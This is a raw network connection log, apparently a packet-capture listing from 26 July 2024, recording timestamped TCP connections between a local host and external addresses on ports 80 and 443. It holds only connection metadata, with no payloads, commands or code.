Jul 26, 2024 13:49:41.338697910 CEST	59082	443	192.168.2.6	20.190.159.68
Jul 26, 2024 13:49:41.339422941 CEST	59082	443	192.168.2.6	20.190.159.68
Jul 26, 2024 13:49:41.340236902 CEST	59082	443	192.168.2.6	20.190.159.68
Jul 26, 2024 13:49:41.340236902 CEST	59082	443	192.168.2.6	20.190.159.68
Jul 26, 2024 13:49:41.340253115 CEST	443	59082	20.190.159.68	192.168.2.6
Jul 26, 2024 13:49:41.340260029 CEST	443	59082	20.190.159.68	192.168.2.6
Jul 26, 2024 13:49:41.358752012 CEST	59036	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:49:41.363979101 CEST	80	59036	34.107.221.82	192.168.2.6
Jul 26, 2024 13:49:41.381164074 CEST	59086	443	192.168.2.6	20.42.73.29
Jul 26, 2024 13:49:41.381202936 CEST	443	59086	20.42.73.29	192.168.2.6
Jul 26, 2024 13:49:41.381283045 CEST	59086	443	192.168.2.6	20.42.73.29
Jul 26, 2024 13:49:41.382046938 CEST	59086	443	192.168.2.6	20.42.73.29
Jul 26, 2024 13:49:41.382064104 CEST	443	59086	20.42.73.29	192.168.2.6
Jul 26, 2024 13:49:41.626601934 CEST	59087	443	192.168.2.6	40.115.3.253
Jul 26, 2024 13:49:41.626638889 CEST	443	59087	40.115.3.253	192.168.2.6
Jul 26, 2024 13:49:41.626709938 CEST	59087	443	192.168.2.6	40.115.3.253
Jul 26, 2024 13:49:41.627183914 CEST	59087	443	192.168.2.6	40.115.3.253
Jul 26, 2024 13:49:41.627197981 CEST	443	59087	40.115.3.253	192.168.2.6
Jul 26, 2024 13:49:41.978940964 CEST	443	59086	20.42.73.29	192.168.2.6
Jul 26, 2024 13:49:41.982700109 CEST	59086	443	192.168.2.6	20.42.73.29
Jul 26, 2024 13:49:42.002022028 CEST	80	59085	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:42.002700090 CEST	59085	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:42.014403105 CEST	59086	443	192.168.2.6	20.42.73.29
Jul 26, 2024 13:49:42.014435053 CEST	443	59086	20.42.73.29	192.168.2.6
Jul 26, 2024 13:49:42.015321016 CEST	443	59086	20.42.73.29	192.168.2.6
Jul 26, 2024 13:49:42.070463896 CEST	59085	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:42.075525999 CEST	80	59085	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:42.075547934 CEST	59086	443	192.168.2.6	20.42.73.29
Jul 26, 2024 13:49:42.076163054 CEST	59086	443	192.168.2.6	20.42.73.29
Jul 26, 2024 13:49:42.277853012 CEST	59038	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:49:42.282840967 CEST	80	59038	34.107.221.82	192.168.2.6
Jul 26, 2024 13:49:42.316497087 CEST	80	59085	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:42.320086002 CEST	59085	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:42.432260036 CEST	59085	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:42.432593107 CEST	59088	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:42.437511921 CEST	80	59088	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:42.437638044 CEST	80	59085	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:42.441404104 CEST	59085	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:42.441426039 CEST	59088	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:42.441895962 CEST	59088	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:42.444863081 CEST	443	59087	40.115.3.253	192.168.2.6
Jul 26, 2024 13:49:42.444936991 CEST	59087	443	192.168.2.6	40.115.3.253
Jul 26, 2024 13:49:42.446717978 CEST	80	59088	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:42.447725058 CEST	59087	443	192.168.2.6	40.115.3.253
Jul 26, 2024 13:49:42.447732925 CEST	443	59087	40.115.3.253	192.168.2.6
Jul 26, 2024 13:49:42.447942019 CEST	443	59087	40.115.3.253	192.168.2.6
Jul 26, 2024 13:49:42.449520111 CEST	59087	443	192.168.2.6	40.115.3.253
Jul 26, 2024 13:49:42.449567080 CEST	59087	443	192.168.2.6	40.115.3.253
Jul 26, 2024 13:49:42.449573040 CEST	443	59087	40.115.3.253	192.168.2.6
Jul 26, 2024 13:49:42.449687958 CEST	59087	443	192.168.2.6	40.115.3.253
Jul 26, 2024 13:49:42.492507935 CEST	443	59087	40.115.3.253	192.168.2.6
Jul 26, 2024 13:49:42.622307062 CEST	443	59087	40.115.3.253	192.168.2.6
Jul 26, 2024 13:49:42.622437954 CEST	443	59087	40.115.3.253	192.168.2.6
Jul 26, 2024 13:49:42.622586012 CEST	59087	443	192.168.2.6	40.115.3.253
Jul 26, 2024 13:49:42.622944117 CEST	59087	443	192.168.2.6	40.115.3.253
Jul 26, 2024 13:49:42.622961044 CEST	443	59087	40.115.3.253	192.168.2.6
Jul 26, 2024 13:49:43.051110983 CEST	80	59073	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:43.062782049 CEST	59073	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:43.210844994 CEST	80	59088	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:43.210917950 CEST	59088	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:43.220227003 CEST	59088	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:43.225027084 CEST	80	59088	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:43.444327116 CEST	59036	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:49:43.449400902 CEST	80	59036	34.107.221.82	192.168.2.6
Jul 26, 2024 13:49:43.480015993 CEST	80	59088	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:43.490817070 CEST	59088	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:43.541100025 CEST	80	59036	34.107.221.82	192.168.2.6
Jul 26, 2024 13:49:43.599565029 CEST	59036	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:49:43.602596998 CEST	59088	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:43.603113890 CEST	59089	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:43.608509064 CEST	80	59089	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:43.609576941 CEST	59089	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:43.609632969 CEST	80	59088	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:43.609762907 CEST	59088	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:43.610009909 CEST	59089	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:43.614797115 CEST	80	59089	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:44.118021011 CEST	80	59079	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:44.130599022 CEST	59079	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:44.365972996 CEST	80	59089	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:44.367800951 CEST	59089	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:44.424110889 CEST	59089	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:44.429054022 CEST	80	59089	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:44.671664000 CEST	80	59089	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:44.672885895 CEST	59089	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:44.797276974 CEST	59089	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:44.797422886 CEST	59090	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:44.802262068 CEST	80	59090	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:44.802568913 CEST	80	59089	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:44.804810047 CEST	59089	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:44.804810047 CEST	59090	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:44.805674076 CEST	59090	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:44.810451984 CEST	80	59090	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:45.188510895 CEST	59079	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:45.562659979 CEST	80	59090	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:45.562742949 CEST	59090	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:45.563498974 CEST	59090	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:45.568630934 CEST	80	59090	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:45.810388088 CEST	80	59090	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:45.817461014 CEST	59090	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:45.935415983 CEST	59090	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:45.935897112 CEST	59093	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:45.940737009 CEST	80	59093	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:45.941005945 CEST	59093	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:45.941148043 CEST	59093	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:45.942065001 CEST	80	59090	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:45.942332983 CEST	59090	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:45.945916891 CEST	80	59093	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:46.834408998 CEST	80	59093	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:46.835098028 CEST	59093	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:46.840162992 CEST	59093	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:46.845341921 CEST	80	59093	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:46.920506954 CEST	59073	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:47.002298117 CEST	59056	80	192.168.2.6	185.215.113.16
Jul 26, 2024 13:49:47.085736036 CEST	80	59093	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:47.085794926 CEST	59093	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:47.192135096 CEST	59093	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:47.192500114 CEST	59094	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:47.197470903 CEST	80	59094	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:47.197700024 CEST	59094	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:47.197700024 CEST	59094	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:47.197915077 CEST	80	59093	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:47.197968960 CEST	59093	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:47.202677011 CEST	80	59094	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:47.630831957 CEST	59095	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:47.636074066 CEST	80	59095	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:47.636183023 CEST	59095	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:47.636310101 CEST	59095	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:47.641297102 CEST	80	59095	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:47.821465015 CEST	59038	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:49:47.826425076 CEST	80	59038	34.107.221.82	192.168.2.6
Jul 26, 2024 13:49:47.919433117 CEST	80	59038	34.107.221.82	192.168.2.6
Jul 26, 2024 13:49:47.972474098 CEST	59038	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:49:47.994868994 CEST	80	59094	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:47.995476007 CEST	59094	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:47.996802092 CEST	59094	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:48.001863003 CEST	80	59094	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:48.243968010 CEST	80	59095	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:48.244680882 CEST	59095	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:48.251249075 CEST	80	59094	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:48.251398087 CEST	59094	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:48.253163099 CEST	59095	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:48.258030891 CEST	80	59095	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:48.301239967 CEST	59096	443	192.168.2.6	34.160.144.191
Jul 26, 2024 13:49:48.301285028 CEST	443	59096	34.160.144.191	192.168.2.6
Jul 26, 2024 13:49:48.302638054 CEST	59096	443	192.168.2.6	34.160.144.191
Jul 26, 2024 13:49:48.302798033 CEST	59096	443	192.168.2.6	34.160.144.191
Jul 26, 2024 13:49:48.302812099 CEST	443	59096	34.160.144.191	192.168.2.6
Jul 26, 2024 13:49:48.359553099 CEST	59094	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:48.359895945 CEST	59097	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:48.364738941 CEST	80	59097	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:48.365099907 CEST	80	59094	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:48.367222071 CEST	59094	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:48.367222071 CEST	59097	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:48.368078947 CEST	59097	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:48.372901917 CEST	80	59097	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:48.429894924 CEST	80	59095	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:48.429984093 CEST	59095	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:48.625849009 CEST	59098	443	192.168.2.6	35.190.72.216
Jul 26, 2024 13:49:48.625900984 CEST	443	59098	35.190.72.216	192.168.2.6
Jul 26, 2024 13:49:48.627517939 CEST	59098	443	192.168.2.6	35.190.72.216
Jul 26, 2024 13:49:48.628993034 CEST	59098	443	192.168.2.6	35.190.72.216
Jul 26, 2024 13:49:48.629009962 CEST	443	59098	35.190.72.216	192.168.2.6
Jul 26, 2024 13:49:48.636173964 CEST	59099	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:49:48.636185884 CEST	443	59099	35.244.181.201	192.168.2.6
Jul 26, 2024 13:49:48.638190985 CEST	59099	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:49:48.638359070 CEST	59099	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:49:48.638366938 CEST	443	59099	35.244.181.201	192.168.2.6
Jul 26, 2024 13:49:48.676502943 CEST	59100	443	192.168.2.6	18.65.39.85
Jul 26, 2024 13:49:48.676533937 CEST	443	59100	18.65.39.85	192.168.2.6
Jul 26, 2024 13:49:48.683192015 CEST	59101	443	192.168.2.6	34.149.100.209
Jul 26, 2024 13:49:48.683222055 CEST	443	59101	34.149.100.209	192.168.2.6
Jul 26, 2024 13:49:48.686388969 CEST	59100	443	192.168.2.6	18.65.39.85
Jul 26, 2024 13:49:48.686391115 CEST	59101	443	192.168.2.6	34.149.100.209
Jul 26, 2024 13:49:48.781133890 CEST	443	59096	34.160.144.191	192.168.2.6
Jul 26, 2024 13:49:48.788110971 CEST	59096	443	192.168.2.6	34.160.144.191
Jul 26, 2024 13:49:48.907259941 CEST	59102	443	192.168.2.6	20.42.73.29
Jul 26, 2024 13:49:48.907304049 CEST	443	59102	20.42.73.29	192.168.2.6
Jul 26, 2024 13:49:48.907784939 CEST	59102	443	192.168.2.6	20.42.73.29
Jul 26, 2024 13:49:48.909193039 CEST	59102	443	192.168.2.6	20.42.73.29
Jul 26, 2024 13:49:48.909207106 CEST	443	59102	20.42.73.29	192.168.2.6
Jul 26, 2024 13:49:49.123780966 CEST	80	59097	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:49.123955965 CEST	59097	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:49.124926090 CEST	443	59098	35.190.72.216	192.168.2.6
Jul 26, 2024 13:49:49.125078917 CEST	59097	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:49.125143051 CEST	59098	443	192.168.2.6	35.190.72.216
Jul 26, 2024 13:49:49.129930973 CEST	80	59097	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:49.133347988 CEST	443	59099	35.244.181.201	192.168.2.6
Jul 26, 2024 13:49:49.133577108 CEST	59099	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:49:49.376450062 CEST	80	59097	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:49.381262064 CEST	59097	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:49.492108107 CEST	443	59102	20.42.73.29	192.168.2.6
Jul 26, 2024 13:49:49.495059967 CEST	59102	443	192.168.2.6	20.42.73.29
Jul 26, 2024 13:49:49.498228073 CEST	59102	443	192.168.2.6	20.42.73.29
Jul 26, 2024 13:49:49.498240948 CEST	443	59102	20.42.73.29	192.168.2.6
Jul 26, 2024 13:49:49.498569965 CEST	443	59102	20.42.73.29	192.168.2.6
Jul 26, 2024 13:49:49.532140017 CEST	59102	443	192.168.2.6	20.42.73.29
Jul 26, 2024 13:49:49.533025026 CEST	59102	443	192.168.2.6	20.42.73.29
Jul 26, 2024 13:49:49.559499979 CEST	59097	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:49.559814930 CEST	59103	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:49.564802885 CEST	80	59103	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:49.564953089 CEST	80	59097	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:49.565048933 CEST	59103	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:49.565048933 CEST	59097	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:49.569547892 CEST	59103	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:49.574436903 CEST	80	59103	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:49.635473967 CEST	59095	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:50.351557016 CEST	80	59103	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:50.362796068 CEST	59103	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:50.413404942 CEST	59103	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:50.418471098 CEST	80	59103	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:50.875473022 CEST	80	59103	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:50.875546932 CEST	59103	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:50.876324892 CEST	80	59103	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:50.876384020 CEST	59103	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:50.990946054 CEST	59103	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:50.991178036 CEST	59105	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:50.996124029 CEST	80	59105	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:50.996742964 CEST	80	59103	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:50.997473955 CEST	59105	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:50.997582912 CEST	59103	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:50.997657061 CEST	59105	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:51.002837896 CEST	80	59105	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:51.199284077 CEST	59100	443	192.168.2.6	18.65.39.85
Jul 26, 2024 13:49:51.199305058 CEST	443	59100	18.65.39.85	192.168.2.6
Jul 26, 2024 13:49:51.202331066 CEST	59096	443	192.168.2.6	34.160.144.191
Jul 26, 2024 13:49:51.202347994 CEST	443	59096	34.160.144.191	192.168.2.6
Jul 26, 2024 13:49:51.202663898 CEST	443	59096	34.160.144.191	192.168.2.6
Jul 26, 2024 13:49:51.206286907 CEST	59101	443	192.168.2.6	34.149.100.209
Jul 26, 2024 13:49:51.206298113 CEST	59099	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:49:51.206346035 CEST	443	59099	35.244.181.201	192.168.2.6
Jul 26, 2024 13:49:51.206350088 CEST	443	59101	34.149.100.209	192.168.2.6
Jul 26, 2024 13:49:51.206840038 CEST	443	59099	35.244.181.201	192.168.2.6
Jul 26, 2024 13:49:51.210369110 CEST	59096	443	192.168.2.6	34.160.144.191
Jul 26, 2024 13:49:51.210551023 CEST	443	59096	34.160.144.191	192.168.2.6
Jul 26, 2024 13:49:51.210721016 CEST	59096	443	192.168.2.6	34.160.144.191
Jul 26, 2024 13:49:51.210731030 CEST	443	59096	34.160.144.191	192.168.2.6
Jul 26, 2024 13:49:51.210860968 CEST	59098	443	192.168.2.6	35.190.72.216
Jul 26, 2024 13:49:51.210896969 CEST	443	59098	35.190.72.216	192.168.2.6
Jul 26, 2024 13:49:51.210923910 CEST	59098	443	192.168.2.6	35.190.72.216
Jul 26, 2024 13:49:51.211047888 CEST	59099	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:49:51.211087942 CEST	59099	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:49:51.211122036 CEST	443	59098	35.190.72.216	192.168.2.6
Jul 26, 2024 13:49:51.211272001 CEST	59098	443	192.168.2.6	35.190.72.216
Jul 26, 2024 13:49:51.211568117 CEST	443	59099	35.244.181.201	192.168.2.6
Jul 26, 2024 13:49:51.211652994 CEST	59099	443	192.168.2.6	35.244.181.201
Jul 26, 2024 13:49:51.407211065 CEST	59038	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:49:51.407259941 CEST	59036	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:49:51.412990093 CEST	80	59038	34.107.221.82	192.168.2.6
Jul 26, 2024 13:49:51.414141893 CEST	80	59036	34.107.221.82	192.168.2.6
Jul 26, 2024 13:49:51.416520119 CEST	443	59096	34.160.144.191	192.168.2.6
Jul 26, 2024 13:49:51.418343067 CEST	59038	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:49:51.418370008 CEST	59036	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:49:51.418476105 CEST	59096	443	192.168.2.6	34.160.144.191
Jul 26, 2024 13:49:51.419884920 CEST	59106	443	192.168.2.6	13.32.99.17
Jul 26, 2024 13:49:51.419912100 CEST	443	59106	13.32.99.17	192.168.2.6
Jul 26, 2024 13:49:51.422085047 CEST	59106	443	192.168.2.6	13.32.99.17
Jul 26, 2024 13:49:51.423459053 CEST	59106	443	192.168.2.6	13.32.99.17
Jul 26, 2024 13:49:51.423474073 CEST	443	59106	13.32.99.17	192.168.2.6
Jul 26, 2024 13:49:51.478313923 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:49:51.491103888 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:49:51.507718086 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:49:51.509885073 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:49:51.516927004 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:49:51.676070929 CEST	443	59101	34.149.100.209	192.168.2.6
Jul 26, 2024 13:49:51.682547092 CEST	59101	443	192.168.2.6	34.149.100.209
Jul 26, 2024 13:49:51.724822044 CEST	59101	443	192.168.2.6	34.149.100.209
Jul 26, 2024 13:49:51.724844933 CEST	443	59101	34.149.100.209	192.168.2.6
Jul 26, 2024 13:49:51.725214005 CEST	443	59101	34.149.100.209	192.168.2.6
Jul 26, 2024 13:49:51.727617025 CEST	59101	443	192.168.2.6	34.149.100.209
Jul 26, 2024 13:49:51.727696896 CEST	59101	443	192.168.2.6	34.149.100.209
Jul 26, 2024 13:49:51.727797985 CEST	443	59101	34.149.100.209	192.168.2.6
Jul 26, 2024 13:49:51.739753008 CEST	59101	443	192.168.2.6	34.149.100.209
Jul 26, 2024 13:49:51.739768028 CEST	59101	443	192.168.2.6	34.149.100.209
Jul 26, 2024 13:49:51.775301933 CEST	80	59105	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:51.782018900 CEST	59105	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:51.855667114 CEST	59105	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:51.861377001 CEST	80	59105	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:51.933537006 CEST	443	59100	18.65.39.85	192.168.2.6
Jul 26, 2024 13:49:51.933556080 CEST	443	59100	18.65.39.85	192.168.2.6
Jul 26, 2024 13:49:51.933638096 CEST	59100	443	192.168.2.6	18.65.39.85
Jul 26, 2024 13:49:51.936592102 CEST	59100	443	192.168.2.6	18.65.39.85
Jul 26, 2024 13:49:51.936599970 CEST	443	59100	18.65.39.85	192.168.2.6
Jul 26, 2024 13:49:51.936986923 CEST	443	59100	18.65.39.85	192.168.2.6
Jul 26, 2024 13:49:51.938811064 CEST	59100	443	192.168.2.6	18.65.39.85
Jul 26, 2024 13:49:51.938893080 CEST	59100	443	192.168.2.6	18.65.39.85
Jul 26, 2024 13:49:51.939026117 CEST	443	59100	18.65.39.85	192.168.2.6
Jul 26, 2024 13:49:51.939081907 CEST	59100	443	192.168.2.6	18.65.39.85
Jul 26, 2024 13:49:51.967067957 CEST	80	59109	34.107.221.82	192.168.2.6
Jul 26, 2024 13:49:52.019210100 CEST	59109	80	192.168.2.6	34.107.221.82
Jul 26, 2024 13:49:52.096280098 CEST	443	59106	13.32.99.17	192.168.2.6
Jul 26, 2024 13:49:52.096575022 CEST	59106	443	192.168.2.6	13.32.99.17
Jul 26, 2024 13:49:52.101322889 CEST	59106	443	192.168.2.6	13.32.99.17
Jul 26, 2024 13:49:52.101356030 CEST	443	59106	13.32.99.17	192.168.2.6
Jul 26, 2024 13:49:52.101418018 CEST	59106	443	192.168.2.6	13.32.99.17
Jul 26, 2024 13:49:52.101520061 CEST	443	59106	13.32.99.17	192.168.2.6
Jul 26, 2024 13:49:52.101742983 CEST	59106	443	192.168.2.6	13.32.99.17
Jul 26, 2024 13:49:52.105048895 CEST	80	59105	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:52.105134010 CEST	59105	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:52.208862066 CEST	59105	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:52.209182024 CEST	59110	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:52.216449976 CEST	80	59110	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:52.216460943 CEST	80	59105	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:52.216552973 CEST	59105	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:52.216568947 CEST	59110	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:52.216731071 CEST	59110	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:52.222403049 CEST	80	59110	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:52.987541914 CEST	80	59110	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:52.989856958 CEST	59110	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:52.992027998 CEST	59110	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:52.996917009 CEST	80	59110	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:53.245160103 CEST	80	59110	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:53.245255947 CEST	59110	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:53.348690033 CEST	59110	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:53.348983049 CEST	59112	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:53.354063034 CEST	80	59112	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:53.354180098 CEST	59112	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:53.354269028 CEST	59112	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:53.354710102 CEST	80	59110	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:53.354774952 CEST	59110	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:53.359328985 CEST	80	59112	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:54.096273899 CEST	80	59112	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:54.108895063 CEST	59112	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:54.110048056 CEST	59112	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:54.117470980 CEST	80	59112	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:54.361824989 CEST	80	59112	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:54.362884998 CEST	59112	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:54.477787971 CEST	59112	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:54.478079081 CEST	59113	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:54.484500885 CEST	80	59113	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:54.484515905 CEST	80	59112	185.215.113.19	192.168.2.6
Jul 26, 2024 13:49:54.484586000 CEST	59112	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:54.484608889 CEST	59113	80	192.168.2.6	185.215.113.19
Jul 26, 2024 13:49:54.484730959 CEST	59113	80	192.168.2.6	185.215.113.19
